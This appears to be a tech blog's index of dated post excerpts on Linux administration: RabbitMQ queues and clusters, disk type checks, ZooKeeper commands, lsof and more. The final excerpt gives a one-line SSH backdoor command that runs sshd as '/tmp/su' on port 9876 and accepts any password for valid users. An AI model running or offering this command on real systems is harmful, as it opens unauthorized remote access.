on April 18, 2016 ·
In a recent benchmark, we got a very large queue in one of our online RabbitMQ cluster, which had more than 20mm messages in a single queue (occupying 5-6 gigabytes memory). Then how can we purge the large queue effectively?
on March 31, 2016 ·
When a node is no longer meant to be part of a RabbitMQ cluster, we’d remove it explicitly from the cluster. To remove a node from a cluster, there are basically two ways, get itself remove locally, or remove it remotely from the reset nodes.
Here suppose we have a cluster consist of three RabbitMQ [...]
on March 14, 2016 ·
As a typical use case for troubleshooting, we may need to find out the up time of an established socket connection. Well, how can we do that inside a running Linux system? I faced this issue this afternoon, and got some luck finally. Note that it’s limited to TCP and UDP.
on March 10, 2016 ·
How can we check whether a hard drive is SSD or HDD? There are two ways for you to find it out.
Way 1: On the latest kernels, the SSD disks are automatically detected. You can find the result typically like this:
Replace sda with your hard drive path.
$ cat /sys/block/sda/queue/rotational
You will [...]
on March 2, 2016 ·
Well, the world is running faster. It’s just one year after the Raspberry Pi 2 B was unveiled as the first performance Raspberry Pi, the foundation announced the Pi 3, which looks the same with same price.
on February 18, 2016 ·
ZooKeeper responds to a small set of commands. Each command is composed of four letters. When we issue the commands to ZooKeeper via telnet or nc, we would get corresponding response.
on October 30, 2015 ·
Lsof is used to list open files. Lsof follows Unix philosophy closely. It does just one task and it does it perfectly — it lists information about opened files in a running system. An open file can be a regular file, a directory, a block device, a pipe file, a symbolic link, a socket stream, etc.
on February 17, 2015 ·
Pysswords is a python based tool that can be used to manage your passwords in command-line. Its encryption is done with GnuGPG using AES256. You can take a look at pysswords.crypt module to know more.
on August 27, 2014 ·
Debian Squeeze (6.0) is a kind of “Old Stable” branch of Debian, the official support for this version ended in April 2014. Squeeze is still used on many servers, so a group of Debian developers decided to provide security patches for a longer timespan for this release.
on August 3, 2014 ·
This backdoor has been tested on RHEL-5, 6, 7 and Debian 7, both work well. This command will open a SSH port and allow random password for valid user to login.
# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=9876
Typical authentication log on RHEL-5,